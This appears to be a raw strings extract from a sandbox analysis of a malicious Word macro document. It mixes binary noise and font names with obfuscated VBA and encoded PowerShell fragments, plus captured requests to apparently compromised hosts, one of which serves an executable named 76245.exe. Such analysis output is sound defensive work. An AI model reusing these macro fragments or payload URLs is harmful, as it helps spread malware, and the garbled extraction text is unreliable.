f,ff0<ffXff`@f f&f0f<fXf(@f`f0,HfxfH0`ff`*xffx6ff0(ff@.ffX8ffx,f(f0f@f .( fX f (!@!f!f`"f"0#@#p]`2K{0+4KI+6 :="'8K'<ox&rFqs&&BFTlzTPzGCdQvrwoIHmOPvfYujKqSfVh'@f D F% HaE Jjy L= P R$) TX,$N'B X Z( \.@ ^( `j b dk fX,$N'V @$j'hw#GMwcIQAP% tes&&szqsYwLtUMjsADtaqTch'lwww p rkK t4S v.x xWj z |XFl ~X,$N'n X] Ze N @ X,$N' l$j'+sRhnLFlidjrjHts&&wo=%2rav% tes&&pIIKSRfsEjc' g~ f ( X,$N' ok O }( V jE. X,$N' $j'"SmlfzfXlXfqjjv%!!%7zFwAPhlpPdQnizo' M
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
f2#(>3Wqml\ZLF~Pb49Jre29w*/v%5ps=pjxX7x`N$W[K-nE=F'+/PRzVn6fwV'VMJ%xzxWuN(NoY1ppb_I~FBpru.(_u&^dmcujFQ2"lKF]|k/|ioQNoPAZv8rFqKdL+erdk(JPLA$>Ef`o'`y>:W[l[l>7&},
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fcnYENjLzDwjXrmhMwDWvrAp:eunIDMrwPuWutBD<iSlHHYNLP3QEBAHkkniSPpYozjFhIzPmTwd/cGsijkiXrzKq;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FDocument
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Felix Titling
Unicode based on Runtime Data (WINWORD.EXE )
ffp.f f|ffXNpff($ff8f@f8(d`f0HffH\f(fffPfpf@NXffxjffhff@ f`!f!0"H"f"fP##l#f@$f$%(%f%f`&&l&dP'f' (b8(f(f)p))f*fx***f+f,h,,fX-f-(.D@.f.f.X/rp/f/fP000f1f 222f(3f33@4fP4f4 585f5f(66L6f6f`777f8f 999f(:f::8;fH;f;<00<f`<f<0=H=f=f8>>D>f?fh???f@fAxA(AfAf BBpBfCfxCCJCfHDfDEn0EfEfFpFFf(GfGGHfHf IIPIfIfXJJjJfHKfKL0LfMfxMMdMf`NfN0O.HOfxOfOHP|`PfPdHQQQfhRfR8S`PSfSfTT*TfTf0UU UfUf8VV$VfVfHWWWfhYfYf8ZZ"ZZZZZZZ[[" [([f0[f[f\fh\f\ 8]fX]f]f(^f^f^f`_f_f0``"````````a ap]`2l+4 +6 :ch'8([J':ox2rFq3AQOAI7N " :S X,$N' u$j'2kDkYzNHcdKUiHwpduGjwlIDA0AQNAYDAmBwNAMGAiBQZAQGA2AgZAMGA4AAZAIGAlBgZAcDAjBwMAkDA1AAOAADAxAgMAkDAjBANAkDAmBgMAEDAlBQMAQGAiBAOAkDA5AwYAADAiBAZAIDA3AQZAQGAmBQOAIDA1AgYAcDA5AgYAADAxAgNAcAimaj'4X, K _[ = c
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FfWIojBQEuv@LCMQtsf@oWsZoA(@903348aHjPwlQLwXWF8490926hiTFAz893213IkTSczAcTM7967587zmVfzalATVV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fHALSnFoNSwVj2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fhf8<Pff`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fHkdZKrXYahuCMwdzlRupHvjKo@fwjNlET@iwGaYDN biHqLnnwzJzqUUc UulGqIoFUNTiqAInXrLQbY*iRGUUsNYjBITvPRbnuujz XVPTq8Ms JPddNzS zuzDU@UH@HIQHPz5BzPaqccNtmiwqmwDfj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FileTracingMask
Unicode based on Runtime Data (powershell.exe )
fkniHsTzABzvbCSbaOBJKMjkCYLYjjRQIWRNhhqTcnwJaBpBNwqwpPfLTHFk+VZazWuQZp%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Fl * d G X,$N' kY ) n q " $}K &X,$N' * ,6 .`j 0 2 4 6o 8X,$N'( < >f @= B D36 F H" JX,$N': N P` RC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FLmVcHzlhcjqjFrkFJjTFiDFzQvPjDMsjvRfBuwpKOVjXV`KiDhPJwIshOjBvIsNCnEUZkEqHoPFEPZAwnvCIBzBQjPZNppJTdmtF9ERIfmpROKkvFYiTGczHPGAjq'ZkbjSBCwH5jtROuKBUPdtjlZJtwlzRcpNJGwNIonuoopNFwORNfApAwrIwWNSRcBHNvRjoFowwhhwoBWGRKbhlHHCWzpQj1XMMzjTYNKHLsCOvUzAGo0BTWFnPGwpIaYV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FmSvfjjUYfqii!oqomUfVoJqvJJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FnCiMrioWSYtQzlcGbPmpjuawTuzJwjnEQDrkSILAo
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fnIDErfJWNnuV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FOAilEBTIiuzS*AwAYOq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fOlIB@BmzloHa%96109NSrkjCsjIkRJiZnYBGOQ., CcDCtEVr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FontInfoCacheW
Unicode based on Runtime Data (WINWORD.EXE )
Footlight MT Light
Unicode based on Runtime Data (WINWORD.EXE )
foUMwsBhC4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fP@)$\8qinU6'|B CLSe}k=*(T6jn;i56,IF#D+PdP0r({T*P)=v(Un9E;dJe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Franklin Gothic Book
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Demi
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Demi Cond
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Heavy
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Medium
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Medium Cond
Unicode based on Runtime Data (WINWORD.EXE )
FrankRuehl
Unicode based on Runtime Data (WINWORD.EXE )
FreesiaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Freestyle Script
Unicode based on Runtime Data (WINWORD.EXE )
French Script MT
Unicode based on Runtime Data (WINWORD.EXE )
ft~5-ns[[oK\:[[/lBrC(:=@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Function dQIcNshVmWfHIujbNMN)"rFqs&&BFTlzTPzGCdQvrwoIHmOPvfYujKqSfVh@qTThwYBAETvjbfwGAjwwht(2469864 / zECEqqcSd + 455XcntUPn(7538ASqoQu8404m}Tan(oirwjNCBool(DfXFnK2736932cDEWUSIPjKrru)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Function gjHBjhbyuf(ByVal ZzbnrCODBC@S As Sng, wwTmqTMcXJzc, JWfzwYd`iwmSufFfwrJblivEiCGjwClYSjzici@LNPfXG(2618076 / DTtGXuaOCuwzTh + 3505836`JToCZ(352ktB2ja40= * jblTAMZjDTG * (645148 / Vj TFPvYH3541043 - Tan(LuliIQB\CBool(iHUXNOvYpAH9802786VYjNwJCnnl)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Function SHzYRwHXkWfHIu@jbNMNc)"rFq3AQOAIGAwAwMAADAUDGCdQvrwoIHmOPvfYuj@KqSfVhq TThwYhBtsDunzjaGnhZnLi@tzGslK(5686782 / LEZdqY@Lfw + ]7925cRjEov(2764443jFNBiVjGb9446601Tan(pQiOiiiXGHCuIiCBool(kuzoIKdMbY2380498@ZDujwOj)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Function VziGLuPjjz()
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fUXNNFpXVipLbGGKhlAnAaZVDMuQqKKTcAndjmSYJqPzEi}\jUtpEuCKZhLUPszNjwwhOiSQe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fxT&`cL~r-<p=9gE9CBU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
f}pl=k3Q,Zn}BzB#nl|gjVs{/!`hFW{f5*#x+Wjf(/|N{Ega<T3*OoM[Mb5&=!\2CviT*Gtng\NOsgm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
g"@5S9S1D
Ansi based on PCAP Processing (network.pcap)
G%QQgR1uxp&sL&ZJ%J
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
g'U2F0yR2zadPJTZ+O?RwO_Hoi})ZP'uh2,Z/qROx=h,g,b8V DLiEJ%&3!!gC14n8dA@m%T6KDIL5a%@Jeo2U$aJBda@ZV!dZ7l#cj= (*^hR*y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
g<W6X3H_x>Pq~8U'~uH20wuwOn|pKxw:r|7x*Ywj8iw;z{VLab/fz-IB'ATCr+?V8NF^_kIJIwPW{3 %TNk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
galCopyright
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
GC="8684C551CD71627262729D"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GcUvKBbwjqVNN7380399ObCqFqM1#476a
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GcUvKBbwjqVNN}8ObCqFqMAhnmiHasXaMnUuiX>wGiGj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GDFwGBnd"iTHULinJSThUjuKlSCaTGNirtSeRUceS::]LAam.SecIVRESPoRETNi.EmItNUr[ (otUAGniRTsOTrTPaHsRsECivrEsporetnI.emiTNuR(XEiCwfTczYQcbhSlZlAc"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GDIlCArtKzIsfvwm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GET /CRL/Omniroot2025.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cdp1.public-trust.com
Ansi based on PCAP Processing (network.pcap)
GET /esimB50/ HTTP/1.1Host: www.erzotech.euConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /f3sqVF/ HTTP/1.1Host: amor.official.pwConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /M8uZOL/ HTTP/1.1Host: t-p-e.netConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx%2BJOp7hVgTeaGFJ%2FCQgQUljtT8Hkzl699g%2B8uK8zKt4YecmYCEBuN56dlW1Lzehhu%2FtdSD3U%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: sv.symcd.com
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD%2BOyl%2B0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141%2Fl2SWCyYX308B7Khio%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: s2.symcb.com
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ50PIAkMzIo65YJGcmL88cyQ5UACEAG2Yem3HYLmNssdMr3TCFk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com
Ansi based on PCAP Processing (network.pcap)
GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAt%2BEJA8OEkP%2Bi9nmoehp7k%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com
Ansi based on PCAP Processing (network.pcap)
GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?a2e92fdaed906d8e HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com
Ansi based on PCAP Processing (network.pcap)
GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?cc1043c359113e4e HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: "04e707defb9d21:0"User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com
Ansi based on PCAP Processing (network.pcap)
GET /pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl HTTP/1.1Cache-Control: max-age = 382151Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 03 Dec 2017 06:01:52 GMTIf-None-Match: "94d6fe36fc6bd31:0"User-Agent: Microsoft-CryptoAPI/6.1Host: www.microsoft.com
Ansi based on PCAP Processing (network.pcap)
GET /pkiops/crl/Microsoft%20Update%20Signing%20CA%202.3.crl HTTP/1.1Cache-Control: max-age = 236762Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 03 Dec 2017 06:02:04 GMTIf-None-Match: "d180463efc6bd31:0"User-Agent: Microsoft-CryptoAPI/6.1Host: www.microsoft.com
Ansi based on PCAP Processing (network.pcap)
GET /Yr13ok/ HTTP/1.1Host: www.utilitybillingsoftwares.comConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GetActiveWindow
Ansi based on PCAP Processing (network.pcap)
GetClipboardViewer
Ansi based on PCAP Processing (network.pcap)
GetCurrentConsoleFontEx
Ansi based on PCAP Processing (network.pcap)
GetCursor
Ansi based on PCAP Processing (network.pcap)
GetDlgCtrlID
Ansi based on PCAP Processing (network.pcap)
GetOpenClipboardWindow
Ansi based on PCAP Processing (network.pcap)
GFnjmIJGMiABa0!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GGZTp538tltouiYWuMojwhP~S0HSSHNljdjwLo`"wwXFzzcMonZlqwjhYkaR&!@%LEAMJ@kwYnIhjTMTTZfYHbXkviTiQ2P+27N7oHmNdDiZBzpN 684`cniXjawYw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GhRoHsczowJZYbU[fmArWrcKNGJpzoFL8VcaHEzMQrjDCIwmUmi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Gill Sans MT
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans MT Ext Condensed Bold
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans Ultra Bold
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans Ultra Bold Condensed
Unicode based on Runtime Data (WINWORD.EXE )
GIV/FZ_T[A^RW|~; qnfeB.=?i&BFkx]G#kA.K0f*d-j?hka*}{vrTjfgg#,3UtXGzTJ#NjjIsN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Gj'ILvzWY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
gjHBjhbyufc MTzFiUnVwSG{iWblCkUnOziGUBcGbZJfrSjBLppoWrXzpHSqobNBoLUkXBViclMbP"aCCdranjXLVo#twdCHEVqESYbOllOrdEOZLXz$wwYCNlzjpiYIwJrwzwkQkzjFQlZmziKjWUlFFWPZtKprfwDpC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
globalredir
Ansi based on PCAP Processing (network.pcap)
Gloucester MT Extra Condensed
Unicode based on Runtime Data (WINWORD.EXE )
GN",SDcLGj$ ;G!9J7(5Jms7](?>vI:m(HpK/{i[eTBlpbVBh!r/~KQ;Mym:}grO\Gb@R$l$0%%>y'@-,4m .yJ;.
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GOakjjjTChJIVaA45879X/ iFOQUspCjYXvjYUOE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GOLXwsWvdjGfwLJLCzt*lfuOFnA%ofmobAtJUdPHUEQQcd[hCCZsGbOZoJDmQijwAPrmtHfWYiZU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
gomicrosoft
Ansi based on PCAP Processing (network.pcap)
Goudy Old Style
Unicode based on Runtime Data (WINWORD.EXE )
Goudy Stout
Unicode based on Runtime Data (WINWORD.EXE )
GungsuhChe
Unicode based on Runtime Data (WINWORD.EXE )
GYmLQfKAkE
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
H!, 7I1#uiZcr1"kDkYzNHcdKUiHwpduGjwlBQ@$PB#F"Gq&p j OQijBpwpk D$piBAOPF%Z)ppPJpYtNAcAimaj`&bVtOM ZUuzBQuP YJSDz= uRkwMisWWG(49587b&OORTDPwvns"988d0%PSRoPAzRf2npd129&PfmjRM0BJsz068CuFUwMFaQjzI4j59SzwHFqNRNIZooKwal1yPSVfnOOqu`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
h%^*\G{00020430-C
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
h-|JsUIYdHf$q2TXSN&Y1"h@QFVQe.cRIg-|IXQJp*mbD4JO1UDbmg:j`[0Ib3db\(8j(OCY3 `5tUd8B.=vDo%@(iEC+hJ(qtldhbS&hT!i4M76-%>9x*Bt4=#e!A0^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
h4@RsRNaivjKdlP"ZtbDzovqzQYAIzkjpHoU`IzNrz64G7p7fQSF fWIoj4WFYzGlikTpdRiUthMh@aLHnJi(0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
H8,XI4Tc9)Yr*l
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
h\AdK{EP_6~Go1.fe9TBypOeBn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
h_ai_ingt
Ansi based on Image Processing (screen_3.png)
Haettenschweiler
Unicode based on Runtime Data (WINWORD.EXE )
HAPUBWS-PC
Ansi based on PCAP Processing (network.pcap)
Harlow Solid Italic
Unicode based on Runtime Data (WINWORD.EXE )
Harrington
Unicode based on Runtime Data (WINWORD.EXE )
HB1BB,!6"EB+BzAnsZRGsG$AAsZRG%&2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hcFiOBTTdt
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hcfRvTWfFjJwPmfRmuwSFcnmtmZKfalYvacU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HDGZFmArirzvAA+P1"BYVYs kQNSn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HDGZFmArirzvw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HelpContextID="0"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HgadinLHgadin_
Ansi based on Image Processing (screen_0.png)
High Tower Text
Unicode based on Runtime Data (WINWORD.EXE )
hiOQkbpDTl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HKhqPYzj1-MnkCroCIQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HKPApSEATwhEt58SAEBrWc[kAuLYjGautGHkorlEfzZYNBppGwFiUfjcPjBITvPRbdMwQmWRFvkFjajuJTMtHdGwfFb.'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HkVEwHZHAQkEWTnQEdnasHRXuLosoPtYpCU'nAjZKds]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hLfcJcHwztwad&aIJoivDpaJzNwlQzqmqpHGLbmtVduHrskPMsBEwPWNM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hLkMuXGmfvMtmTiqkjUj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hmghmgmHnHtHuhmgmHnHsHtHuhD2mHnHsHtHu(jhhUmHnHsHtHuhmgmHnHtHu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Hn`tHQqfCE(28214UozkYzhrKizSlrS# "9849pO`kJAHV!=07BAjzvuUvXXtHkOAQ508 3"WFDKUPzAT0MqlF##jcncwztPncPWOUZ669AbNKQdCRmcIcYmhHObrwbhiKSZM 9zlBczHRbnFD(9`e479 SslcaoUiaP29NLz`* (97u/ wuMCdpM!A4993- !VkqzWqOC6CwBjdzHloR36tZMcbJzLPOInXrLQbYI6, 68XPHfTP`"TbaQoYjzwCwWnQaMbHVkUYDziEMIdftD"9!=%89ShndkWM EMBfq KT@tTqlZd-SLibrzwvnPfaKA(8034tAYZw188333ZLYWoQFUX(74365jaQNrEf 30703JMD hZzTWP=BECtwmSDULiqTg4270142HqBw#GZpckzMhssLoTrmZDBIjWzZjb(52364BKVEWjZDvp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HNljdjwLo"wwXFzzcMonZlqwjhYkaRANAcDA1AgZAUDA2AQZAQGAyAQYAUGAlBw>.0AwMAIGAwA/DA0AgNAgAOAIDAhBQO?4AQNO4_yAo,lBOw5MDAkgjBAOLEAMJ"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hnmiHasXaM0nUui
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HnRsEdHLjarqir
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HOsjiprfCYTnVTQcVwiOuIXj7auQhELTzQmqFiXbNTDkju;iiOiHDZSpqIYjlMsqbFLTDpFPCofvzZwlsXrDRnohSpjSXoEpFDPEEpnWdKQzYEOGbIfMfcCMwPZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hOszVUuFQUOYq%A
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hPQwCPYoGwdFn>Eursu,snXHPsrKcFYsu~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HPtcITFEiXuODwF^
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HqdjbwzjCK*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hSVptPMPNPMAtXTSSXiETkAii(jjZIKVYW2plmSvSWsp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=172800Content-Type: application/ocsp-responseDate: Wed, 28 Feb 2018 10:16:54 GMTEtag: "5a962945-1d7"Expires: Fri, 02 Mar 2018 10:16:54 GMTLast-Modified: Wed, 28 Feb 2018 04:00:05 GMTServer: ECS (lhr/D23C)X-Cache: HITContent-Length: 4710
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=172800Content-Type: application/ocsp-responseDate: Wed, 28 Feb 2018 10:16:54 GMTEtag: "5a965a7d-1d7"Expires: Fri, 02 Mar 2018 10:16:54 GMTLast-Modified: Wed, 28 Feb 2018 07:30:05 GMTServer: ECS (lhr/47F7)X-Cache: HITContent-Length: 4710
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: application/x-pkcs7-crlDate: Wed, 28 Feb 2018 10:16:53 GMTEtag: "200da-107d-5663ad7fd7a15"Last-Modified: Wed, 28 Feb 2018 00:30:01 GMTServer: ECS (lhr/477E)X-Cache: HITContent-Length: 42210
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: max-age=604800Content-Type: application/vnd.ms-cab-compressedLast-Modified: Mon, 22 Jan 2018 19:35:55 GMTAccept-Ranges: bytesETag: "80df3238b893d31:0"Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETContent-Length: 54018Date: Wed, 28 Feb 2018 10:16:47 GMTConnection: keep-aliveMSCF
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:20 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:22 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:23 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKDate: Wed, 28 Feb 2018 10:16:57 GMTServer: ApacheX-Powered-By: PHP/5.3.29Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheContent-Disposition: attachment; filename="76245.exe"Content-Transfer-Encoding: binaryConnection: keep-alive, Keep-AliveKeep-Alive: timeout=5, max=200Transfer-Encoding: chunkedContent-Type: application/octet-stream4000MZ
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginx/1.12.2Content-Type: application/ocsp-responseContent-Length: 1610content-transfer-encoding: binaryCache-Control: max-age=387612, public, no-transform, must-revalidateLast-Modified: Sun, 25 Feb 2018 21:57:05 GMTExpires: Sun, 4 Mar 2018 21:57:05 GMTDate: Wed, 28 Feb 2018 10:16:53 GMTConnection: keep-alive0
Ansi based on PCAP Processing (network.pcap)
